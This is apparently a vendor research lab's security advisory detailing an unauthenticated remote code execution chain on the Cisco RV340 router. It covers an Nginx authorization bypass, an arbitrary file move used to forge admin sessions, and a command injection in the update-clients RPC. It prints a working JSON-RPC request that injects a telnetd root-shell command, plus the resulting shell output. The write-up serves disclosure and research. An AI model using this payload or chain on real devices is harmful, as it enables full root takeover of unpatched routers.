Advisory: Cisco RV340 Dual WAN Gigabit VPN Router (RCE over LAN)

Affected vendor & product Vendor Advisory | Cisco RV340 Dual WAN Gigabit VPN Router (https://www.cisco.com/) https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html |
Vulnerable version | 1.0.03.24 and earlier |
Fixed version | 1.0.03.26 |
CVE IDs | CVE-2022-20705 CVE-2022-20708 CVE-2022-20709 CVE-2022-20711 |
Impact | 10 (critical) AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
Credit | Q. Kaiser, IoT Inspector Research Lab |
Description
The exploit chain combines three different bugs:- Unauthenticated arbitrary file upload
- Unauthenticated file move
- Unauthenticated command injection
- Unauthenticated file move is used to get arbitrary file read
- Unauthenticated arbitrary file upload + unauthenticated file move is used to get arbitrary file write
sessionid
to trigger the authenticated command injection allowing us to execute commands as root.
Bug 1 - Unauthenticated Arbitrary File Upload
The web interface is handled by Nginx, with the configuration located under/etc/nginx
. In /etc/nginx/conf.d/rest.url.conf
, there is an attempt to check that some Authorization header is set.
The logic is such that any non-null Authorization header would set $deny
to “0”. So, sending literally any valid-looking Authorization header as part of a request to /api/operations/ciscosb-file:form-file-upload
will bypass the authorization check.
location /api/operations/ciscosb-file:form-file-upload { set $deny 1; if ($http_authorization != "") { set $deny "0"; } if ($deny = "1") { return 403; } upload_pass /form-file-upload; upload_store /tmp/upload; upload_store_access user:rw group:rw all:rw; upload_set_form_field $upload_field_name.name "$upload_file_name"; upload_set_form_field $upload_field_name.content_type "$upload_content_type"; upload_set_form_field $upload_field_name.path "$upload_tmp_path"; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5"; upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size"; upload_pass_form_field "^.*$"; upload_cleanup 400 404 499 500-505; upload_resumable on; }We can take advantage of this authorization bypass to write arbitrary files to the Nginx upload directory located at
/tmp/upload
, with files named with increasing index (e.g. /tmp/upload/0000000001
, /tmp/upload/0000000002
). Given that we’re unauthenticated, the upload CGI will not handle our uploaded file and the files will stay there.
Bug 2 - Unauthenticated File Move
Still looking at the Nginx configuration, there is a misconfiguration in/etc/nginx/conf.d/web.upload.conf
.
As we can see in the output below, the /upload
endpoint is protected but /form-file-upload
is left wide open:
location /form-file-upload { include uwsgi_params; proxy_buffering off; uwsgi_modifier1 9; uwsgi_pass 127.0.0.1:9003; uwsgi_read_timeout 3600; uwsgi_send_timeout 3600; } location /upload { set $deny 1; if (-f /tmp/websession/token/$cookie_sessionid) { set $deny "0"; } if ($deny = "1") { return 403; } upload_pass /form-file-upload; upload_store /tmp/upload; upload_store_access user:rw group:rw all:rw; upload_set_form_field $upload_field_name.name "$upload_file_name"; upload_set_form_field $upload_field_name.content_type "$upload_content_type"; upload_set_form_field $upload_field_name.path "$upload_tmp_path"; upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5"; upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size"; upload_pass_form_field "^.*$"; upload_cleanup 400 404 499 500-505; upload_resumable on; }The only thing we need to do to reach the unauthenticated endpoint without triggering any errors is to set the form fields that are set by Nginx when handing it through
/upload
: file.name
, file.content_type
, file.path
, file.md5
, and file.size
.
The parameter of interest to us is file.path
.
In upload.cgi
, a prepare_file
function is called. This function is supposed to move the Nginx generated temporary file to another location on disk (/tmp/upload.bin
).
We control file.path
that is passed as src_file
, fileparam
that is passed as dst_file
, and pathparam
that is passed as file_type
.
int prepare_file(char *file_type,char *src_file,char *dst_file) { int iVar1; size_t sVar2; char *destination_dir; char command_buffer[300]; if (dst_file != 0x0 && file_type != 0x0) { if(strcmp(file_type,"Firmware")==0){ destination_dir = "/tmp/firmware"; } if(strcmp(file_type,"Configuration")==0){ destination_dir = "/tmp/configuration"; } if(strcmp(file_type,"Certificate")==0){ destination_dir = "/tmp/in_certs"; } if(strcmp(file_type,"Signature")==0){ destination_dir = "/tmp/signature"; } if(strcmp(file_type,"3g-4g-driver")==0){ destination_dir= "/tmp/3g-4g-driver"; } if(strcmp(file_type,"Language-pack")==0){ destination_dir= "/tmp/language-pack"; } if(strcmp(file_type,"User")==0){ destination_dir= "/tmp/user"; } if(strcmp(file_type,"Portal")==0){ destination_dir= "/tmp/www"; } else{ return -1; } // check that source file exists if(is_file_exist(src_file)==0){ return -2; } // check source and destination files lengths if (strlen(src_file) > 256 || strlen(dst_file) > 256) { return -3; } // check that destination file is valid (no command injection chars) if (match_regex("^[a-zA-Z0-9_.-]*$",dst_file) != 0) { return -4; } // we can move arbitrary files to any file in the destination dir sprintf(command_buffer,"mv -f %s %s/%s",src_file,pcVar3,dst_file); debug("cmd=%s",command_buffer); if (command_buffer[0] != '') { if (system(command_buffer) < 0) { error("upload.cgi: %s(%d) Upload failed!","prepare_file",0xb3); return -1; } return 0; } } return -1; }By submitting an upload request for a file type of 'Portal', we can move arbitrary files to
/tmp/www
. Once the file is copied over, we can leak its content by requesting 'login.html
' or 'index.html
' given that they are both symlinked ('/www/login.html
->
/tmp/www/login.html
' and '/www/index.html
->
/tmp/www/index.html
').
Note that it works because the prepare_file
function is called before checking the query path value:
ret = prepare_file(file_type,src_file,dst_file); if (ret== 0) { if (strcmp(query_path, "/api/operations/ciscosb-file:form-file-upload") == 0) { do_api_upload(__s,file_type,dst_file,local_6c); } else { if(strcmp(query_path,"/upload")==0){ //some regex and length checks do_upload(__s,dst_file,uVar1,file_type,uVar4,local_58,local_54,local_50); } } }
Bug 3 - Authenticated Command Injection (update-clients RPC)
Thejsonrpc
CGI handling all the web administration requests is configured to forward specific RPC requests to a ConfD
server.
All the RPC requests are documented in /etc/confd/yang/
, these RPC requests define the expected input with strong typing. The RPC name is always a valid binary or script present in the device PATH.
rpc update-clients { input { list clients { key mac; leaf mac { type yang:mac-address; mandatory true; } leaf hostname { type string; } leaf device-type { type string; } leaf os-type { type string; } } } } augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:ips" { uses ciscosb-security-common:DEVICE-OS-TYPE; } augment "/ciscosb-ipgroup:ip-groups/ciscosb-ipgroup:ip-group/ciscosb-ipgroup:macs" { uses ciscosb-security-common:DEVICE-OS-TYPE; }In this example,
update-clients
is actually a Perl script located at /usr/bin/update-clients
. As we can see from the script excerpt below, it is vulnerable to arbitrary command injection given that parameters are passed within double quotes, allowing the injection of shell expansion or backticks.
#!/usr/bin/perl my $total = $#ARGV + 1; my $counter = 1; #$mac = "FF:FF:FF:FF:FF:FF"; #$name = "TestPC"; #$type = "Computer"; #$os = "Windows"; foreach my $a(@ARGV) { if (($counter%12) == 0) { system("lcstat dev set $mac "$name" "$type" "$os" > /dev/null"); } elsif (($counter%12) == 4) { $mac = $a } elsif (($counter%12) == 6) { $name = $a } elsif (($counter%12) == 8) { $type = $a } elsif (($counter%12) == 10) { $os = $a } $counter++; }To fully understand the expected format of that JSON RPC call, we searched through the Angular based client code and found this entry:
if (d.length) { b.post({ forcedUsingPost: true, method: 'action', params: { rpc: 'update-clients', input: { clients: d } }, success: function() { n(); }, error: function(b) { b = (b && b.output && b.output.errstr) || ''; app.TOOLS.criticalAlertBox({ msg: '
if (d.length) { b.post({ forcedUsingPost: true, method: 'action', params: { rpc: 'update-clients', input: { clients: d } }, success: function() { n(); }, error: function(b) { b = (b && b.output && b.output.errstr) || ''; app.TOOLS.criticalAlertBox({ msg: '' + a.DICT('Client_Statistics_RPC_Error') + '' + b + ' ', cbk: function() { C(); }, }); }, }); } Which led us to this reduced test case:
POST /jsonrpc HTTP/1.1 Host: 127.0.0.1:8080 Accept: a
POST /jsonrpc HTTP/1.1 Host: 127.0.0.1:8080 Accept: application/json, text/plain, */* Content-Length: 232 Connection: close Cookie: sessionid=Y2lzY28vMTkyLjE2OC4xLjE0MC8xOTc=; { "jsonrpc":"2.0", "method":"action", "params":{ "rpc":"update-clients", "input":{ "clients": [ { "hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2304)", "mac": "64:d1:a3:4f:be:e1", "device-type": "client", "os-type": "windows" } ] } } }We confirmed the injection by connecting to the newly opened telnet listener:
$ telnet 192.168.1.1 2304 Trying 192.168.1.1... Connected to 192.168.1.1. Escape character is '^]'. BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash) /usr/bin # id uid=0(root) gid=0(root)We are running as root so privilege escalation won’t be required. This is due to the fact that the server receiving these YANG-based RPC calls is
confd
, which runs as root on the device.
Exploitation Strategy
Session Files Format
When a user logs into a Cisco RV340, the following session files are created:/tmp ├── websession ├── session (json definition of current session) └── token ├── Y2lzY28vMTkyLjE2OC4xLjE0MC80ODQvCg (empty file)The session file holds a JSON object like the one below:
{ "max-count": 1, // username "cisco": { // sessionid "Y2lzY28vMTkyLjE2OC4xLjIvNTky": { "user": "cisco", // username "group": "admin", // user group "time": 592, // device uptime in seconds, obtained with sysinfo() "access": 1, "timeout": 1800, // timeout in seconds "leasetime": 15547943 } } }The
sessionid
is a base64 encoded string of slash separated values holding username, time of emission, and source IP address:
cisco/192.168.1.2/592
Creating Fake Session Directories
With our arbitrary file move, we are limited to moving files into/tmp/www
, which means we cannot immediately overwrite files located in /tmp
.
To overcome that, we take advantage of symlink indirection by moving the /var
directory to /tmp/www/iotinspector
. The /var
directory is actually a symlink to /tmp
. This is the equivalent of doing this:
/ $ ls -alh | grep var lrwxrwxrwx 1 root root 4 Jun 13 2021 var -> /tmp / $ mv /var /tmp/www/iotinspector mv: can't preserve ownership of '/tmp/www/iotinspector': Operation not permitted mv: can't remove '/var': Permission deniedEven though we’re receiving errors, the file is created:
/tmp/www $ ls -alh drwxr-xr-x 5 www-data www-data 240 Jul 13 10:56 . drwxrwxrwt 37 root root 1.6K Jul 13 10:56 .. --snip-- lrwxrwxrwx 1 www-data www-data 4 Jul 13 10:56 iotinspector -> /tmpNext on the list of things, we need to do, is creating our fake session directories in
/tmp/www
and then moving them to /tmp
to create one or replace the existing one.
If we simplify it down to shell commands, this is what it looks like. The part we control is put between '<>'
# move websession to somewhere else, make sure it does not exist mv </tmp/websession> /tmp/www/ # create fake session directories by moving default empty tmp directories mv </tmp/in_certs> /tmp/www/ mv </tmp/3g-4g-driver> /tmp/www/ # upload session file and move it mv </tmp/upload/0000000001> /tmp/www/ mv </tmp/www/session> /tmp/www/ # upload token file and move it mv </tmp/upload/0000000002> /tmp/www/ mv </tmp/www/Y2lzY28vMTkyLjE2OC4xLjIvNTky> /tmp/www/ # move token directory into the session dir mv </tmp/www/token> /tmp/www/ # move the websession dir to /tmp using symlinks mv </tmp/www/websession> /tmp/www/This is all possible thanks to
mv
moving files to directories even if the second argument does not end with a forward slash.
Identifying Uploaded Files Location
If a user has been uploading files prior to our exploit running, files may be located under the/tmp/upload
directory used by Nginx. And even if there are none there, Nginx keeps a counter throughout its uptime that increases on each file upload.
When we upload a file, we don’t know at which exact location it has been written, so we need to guess that before we perform our move.
The strategy to “leak” the uploaded file location follows:
- Loop through potential uploaded file names from
/tmp/upload/0000000001
to/tmp/upload/0000000100
. - For each potential file name, move it to
/tmp/www/login.html
- Leak the content of
/tmp/www/login.html
by sending a GET request, hash the response and compare it to the hash of our recently uploaded file. - If the hash matches, move
/tmp/www/login.html
back to its original location and recover the login page by moving/www/login.html.default
to/tmp/www/login.html
.
Crafting Fake Session Files
The cisco user is a default user that cannot be deleted and will always be part of the admin group so we can stick to that user. However, we need to handle the time and timeout values.{ "max-count": 1, // username "cisco": { // sessionid "Y2lzY28vMTkyLjE2OC4xLjIvNTky": { "user": "cisco", // username "group": "admin", // user group "time": 592, // device uptime in seconds, obtained with sysinfo() "access": 1, "timeout": 1800, // timeout in seconds "leasetime": 15547943 } } }The timeout value is discarded if the file
/tmp/webcache/web-session-timeout.json
exists. We could move it to /dev/null
and create a session file with a timeout value of 999999 but the removal of that file might trigger unknown issues.
Instead, we can leak the device uptime in seconds and use it to generate our fake session object. Leaking the uptime is really simple, we can try to move the proc uptime to the login page. This ends up overwriting the login page with the content of proc uptime at the time of reading. Then we read the login page by sending a GET request and parse the uptime value.
mv /proc/uptime /tmp/www/login.htmlOne issue that might be blocking is the presence of equal signs in the
sessionid
. The destination filename can only contain underscore, dot, and alphanumeric characters. This means that if the sessionid
contains an equal sign, the move will fail.
Three parameters influence the presence of equal signs in the base64 encoded sessionid
:
- username → we can’t control it
- source IP → we can control it, we just need to get the right DHCP lease
- device uptime → we can’t control it
- add a slash followed by padding characters that gets discarded when
sessionid
is parsed
sessionid
. Equipped with that knowledge, we can craft fake session objects.
Sending Command Injection
Now that our fake session is created on the device, we can send authenticated requests to trigger the command injection bug described as Bug 3 - Authenticated Command Injection (update-clients RPC).Running The Exploit

Key Takeaways
If we break it down, the fundamental issue that allowed us to exploit these vulnerabilities is a misunderstanding of Nginx configurations. These kinds of misconfigurations have been mostly identified in large web applications since Orange Tsai released its excellent research on breaking parsers logic, but they can also affect embedded devices running web servers! We can only advise researchers in that space to review the configuration of any web server they may find in their way for potential authentication bypasses. The command injection vulnerability could be considered as a "second order" injection in that the attacker has to understand the inner relationship between ConfD, its configuration files, and the scripts it's linked to. For researchers focusing on devices relying onConfD
, it could be interesting to develop scripts identifying RPC endpoints definitions with loosely typed inputs calling insecure scripts (Perl, Lua, shell, etc.) :)
We hope that these ideas for further research will help you during your next endeavor if you're interested in Cisco devices.
Timeline
2021-11-03 - Vulnerability reported to vendor 2022-02-02 - Cisco release its advisory 2022-02-17 - IoT Inspector release its advisoryÜber Onekey
ONEKEY ist der führende europäische Spezialist für Product Cybersecurity & Compliance Management und Teil des Anlageportfolios von PricewaterhouseCoopers Deutschland (PwC). Die einzigartige Kombination der automatisierten ONEKEY Product Cybersecurity & Compliance Platform (OCP) mit Expertenwissen und Beratungsdiensten bietet schnelle und umfassende Analyse-, Support- und Verwaltungsfunktionen zur Verbesserung der Produktsicherheit und -konformität — vom Kauf über das Design, die Entwicklung, die Produktion bis hin zum Ende des Produktlebenszyklus.

KONTAKT:
Sara Fortmann
Senior Marketing Manager
sara.fortmann@onekey.com
euromarcom public relations GmbH
team@euromarcom.de
VERWANDTE FORSCHUNGSARTIKEL

Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6199)
Explore ONEKEY Research Lab's security advisory detailing a critical vulnerability in Viasat modems. Learn about the risks and recommended actions.

Security Advisory: Remote Code Execution on Viasat Modems (CVE-2024-6198)
Explore ONEKEY Research Lab's security advisory detailing a critical vulnerability in Viasat modems. Learn about the risks and recommended actions.

Unblob 2024 Highlights: Sandboxing, Reporting, and Community Milestones
Explore the latest developments in Unblob, including enhanced sandboxing with Landlock, improved carving reporting, and χ² randomness analysis. Celebrate community contributions, academic research collaborations, and new format handlers, while looking forward to exciting updates in 2025.
Bereit zur automatisierung ihrer Cybersicherheit & Compliance?
Machen Sie Cybersicherheit und Compliance mit ONEKEY effizient und effektiv.